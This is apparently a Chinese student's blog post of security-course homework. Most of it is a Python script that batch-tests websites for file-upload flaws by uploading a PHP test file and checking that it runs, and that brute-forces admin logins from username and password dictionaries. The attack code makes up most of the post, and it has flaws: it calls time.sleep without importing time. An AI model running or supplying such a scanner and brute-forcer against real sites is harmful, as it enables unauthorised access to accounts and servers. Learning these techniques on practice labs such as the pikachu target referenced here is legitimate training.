3.22

网络安全C10-2025.03.22

作业:

1、复习python基础语法中的io操作,包括文件读写和系统目录、文件操作

2、复习安全开发技术中的正则表达式模块,熟练掌握python中re模块的用法

3、复习安全开发技术中的requests模块,熟练掌握get、post请求、文件上传请求的编写方式

4、复习安全开发技术中的多线程、多进程知识,熟练掌握多线程和多进程代码编写方式

5、综合运用所学知识,编写一个利用脚本,实现批量扫描网站文件上传漏洞的功能和弱口令爆破功能

import random

import threading

import requests

from bs4 import BeautifulSoup

from concurrent.futures import ThreadPoolExecutor

import os  # 用于文件路径检查和目录操作

import sys  # 用于退出程序 (sys.exit)

import re

class VulnerabilityScanner:

    def __init__(self, target_urls, upload_paths, username_dict, password_dict):

        self.target_urls = target_urls  # 目标URL列表

        self.upload_paths = upload_paths  # 上传接口路径列表

        self.username_dict = username_dict  # 用户名字典

        self.password_dict = password_dict  # 密码字典

        self.session = requests.Session()


    def scan_upload_vulnerability(self, url):

        # 实现文件上传漏洞检测

        try:

            #useragent

            USER_AGENTS = [

            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0"

        ]

            #cookies

            COOKIES = {

        }

             # 随机选择 User-Agent

            headers = {

                "User-Agent": random.choice(USER_AGENTS),

                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",

                "Referer": "http://pikachu.com/"

            }

            #代理ip池

            proxies = {

                "http": "http://127.0.0.1:8080"

            }

            # 使用 Session 管理 Cookie

            session = requests.Session()

            session.cookies.update(COOKIES)

            # 1. 发送上传请求

            files = {

                'uploadfile': ('test.php', '<?php phpinfo(); ?>', 'application/x-php'),

                'submit': (None, 'Submit')

            }

            response = session.post(url, files=files, headers=headers,proxies=proxies)

            # response = session.post(url, files=files, headers=headers, timeout=10)

            print(response.status_code)

            response.encoding = 'utf-8'  

       

            # 2. 检查响应

            if (response.status_code == 200 and ('upload success' in response.text.lower() or '成功' in response.text )):

                print(f"[+] 上传漏洞存在: {url}")

                   # 3. 验证文件是否可执行

                            # 尝试多种方式获取路径

                uploaded_file = None

               

                # 方式 1:正则匹配

             

                uploaded_file = None

                try:

                    # 方式 1:正则匹配(添加异常保护)

                    match = re.search(r'路径\S*[::]\s*([\w/.-]+?)(?=\s*</)', response.text)

                    if match:

                        uploaded_file = match.group(1).strip()

                        print(f"[*] 正则匹配到文件路径: {uploaded_file}")

                except Exception as e:

                    print(f"[!] 正则匹配异常: {str(e)}")

                    uploaded_file = None  # 确保继续后续处理

                # ---------- 修改结束 ----------

                # 方式 2:JSON 动态键

                if not uploaded_file:

                    try:

                        data = response.json()

                        possible_keys = ['path', 'url', 'file']

                        for key in possible_keys:

                            if key in data:

                                uploaded_file = data[key]

                                print(f"[*] JSON解析到文件路径: {uploaded_file}")

                                break

                    except Exception as e:

                        print(f"[!] JSON解析异常: {str(e)}")

                # 方式 3:手动拼接(最后尝试)

                if not uploaded_file:

                    try:

                        base_url = url.rsplit('/', 1)[0] if '/' in url else url

                        uploaded_file = f"{base_url}/uploads/test.php"

                        print(f"[*] 使用备用路径: {uploaded_file}")

                    except Exception as e:

                        print(f"[!] 路径拼接异常: {str(e)}")

                        uploaded_file = None

                # 验证文件是否可执行

                if uploaded_file:

                    try:

                        new_url=os.path.dirname(url)+'/'+uploaded_file

                        print(f"新的url: {new_url}")

                        verify_response = requests.get(new_url,timeout=5)

                        if "phpinfo()" in verify_response.text:

                            print("[+] 上传文件可执行!")

                        else:

                            print(f"[-] 文件存在但未执行(HTTP {verify_response.status_code})")

                    except requests.exceptions.Timeout:

                        print("[-] 验证超时:服务器响应时间超过5秒")

                    except requests.exceptions.ConnectionError:

                        print("[-] 连接失败:网络问题或目标不可达")

                    except requests.exceptions.HTTPError as e:

                        print(f"[-] HTTP错误:{e.response.status_code}")

                    except requests.exceptions.RequestException as e:

                        print(f"[-] 请求异常:{str(e)}")

                    except Exception as e:

                        print(f"[-] 未知错误:{str(e)}")          

                else:

                    print("[-] 无法获取文件路径")

        except Exception as e:

            print(f"[-] 检测失败: {url} - {str(e)}")  

    def brute_force_login(self, login_url):

        try:

            # 禁用SSL警告

            requests.packages.urllib3.disable_warnings()

           

            # 调试日志

            print(f"[*] 尝试访问登录页面: {login_url}")

            login_page = self.session.get(login_url, timeout=15, verify=False)

            print(f"[*] 服务器返回状态码: {login_page.status_code}")

           

            # 状态码检查

            if login_page.status_code != 200:

                print(f"[-] 页面不可用 (HTTP {login_page.status_code})")

                return False

           

            # 表单解析

            soup = BeautifulSoup(login_page.text, 'html.parser')

            form = soup.find('form')

            if not form:

                print(f"[-] 未找到登录表单: {login_url}")

                return False

            # 获取表单字段

            data = {}

            for input_tag in form.find_all('input'):

                if input_tag.get('name') and input_tag.get('type') != 'submit':

                    data[input_tag.get('name')] = input_tag.get('value', '')

            # 生成凭证

            credentials = [(user, pwd) for user in self.username_dict for pwd in self.password_dict]

            print(f"[*] 待尝试的凭证数量: {len(credentials)}")

            if not credentials:

                print("[-] 凭证列表为空")

                return False

           

            # 线程安全控制

            success_flag = False

            lock = threading.Lock()

           

            def try_login(username, password):

                nonlocal success_flag

                if success_flag:

                    return False

               

                try:

                    # 设置当前凭证用于特殊验证

                    self._current_credential = (username, password)

                    print(f"[*] 尝试登录: {username}:{password}", end=' ')

                    post_data = data.copy()

                    post_data['username'] = username

                    post_data['password'] = password

                   

                    # 确保不发送remember-me参数

                    if 'remember-me' in post_data:

                        del post_data['remember-me']

                    # 使用独立Session避免线程冲突

                    local_session = requests.Session()

                    local_session.cookies.update(self.session.cookies)

                    initial_cookies = len(local_session.cookies.get_dict())

                    response = local_session.post(

                        login_url,

                        data=post_data,

                        timeout=5,

                        allow_redirects=True,

                        verify=False

                    )

                    success = self._check_login_success(response, initial_cookies)

                    if success:

                        with lock:

                            if not success_flag:

                                success_flag = True

                                print(f"\n[+] 成功登录: {username}:{password}")

                        return True

                    return False

                except Exception as e:

                    print(f"[-] 异常: {username}:{password} - {str(e)}")

                    return False

            # 使用单线程顺序执行确保输出同步

            for cred in credentials:

                if try_login(*cred):

                    return True

                time.sleep(0.3)  # 缩短延迟时间确保流畅性

               

            print("[-] 所有凭证尝试失败")

            return False

        except Exception as e:

            print(f"[-] 全局异常: {str(e)}")

            return False

    def _check_login_success(self, response, initial_cookies):

        """优化登录验证逻辑"""

        check_text = response.text.lower()

       

        # 1. 关键成功条件:响应中包含明确成功标识

        success_keywords = ['登录成功', '欢迎回来']

        matched_keywords = [kw for kw in success_keywords if kw in check_text]

        has_success = bool(matched_keywords)

        # 2. 重定向验证(可选)

        redirect_valid = False

        if response.history:

            final_url = response.url.lower()

            redirect_valid = any(path in final_url for path in ['/dashboard', '/home', '/admin'])

        # 3. 会话变化验证(可选)

        session_changed = len(self.session.cookies.get_dict()) > initial_cookies

        # 综合判断:主要依据成功关键词

        success = has_success or redirect_valid or session_changed

        # 简化输出格式,与尝试登录信息同行

        if success:

            print(f"=> 成功 (匹配词: {matched_keywords})")

            if redirect_valid:

                print(f"   [重定向至: {response.url}]")

            if session_changed:

                print(f"   [新增cookies: {len(self.session.cookies.get_dict()) - initial_cookies}]")

        else:

            print("=> 失败")

           

        return success

    def run(self):

        for url in self.target_urls:

            # 检测上传漏洞

            for path in self.upload_paths:

                upload_url = url + path

                self.scan_upload_vulnerability(upload_url)

            # 爆破登录接口(修正函数名)

            login_url = url + '/admin.php/user/publics/signin.html'

            self.brute_force_login(login_url)

if __name__ == "__main__":

    with open('文件上传和暴力漏洞检测/urls.txt', 'r') as f:

        target_urls = [line.strip() for line in f if line.strip()]

   

    with open('文件上传和暴力漏洞检测/ceshi.txt', 'r') as f:

        upload_paths = [line.strip() for line in f if line.strip()]

   

    # 修正变量定义缩进

   

    with open('文件上传和暴力漏洞检测/name_dict.txt', 'r') as f:

        username_dict = [line.strip() for line in f if line.strip()]

    with open('文件上传和暴力漏洞检测/password_dict.txt', 'r') as f:

        password_dict = [line.strip() for line in f if line.strip()]

   

    scanner = VulnerabilityScanner(target_urls, upload_paths, username_dict, password_dict)

    scanner.run()

代码可以完成,许多地方不足,开始多线程输出不匹配,变成单线程,且还可以简化,等等在后续会一一改进

6、预习验证码识别、python爬虫技术、信息搜集工具等知识

预习:

爬虫技术、信息搜集工具等

预习资料:

参考课件@所有人

posted @ 2025-03-28 16:15  雷子暑假结束  阅读(25)  评论(0)    收藏  举报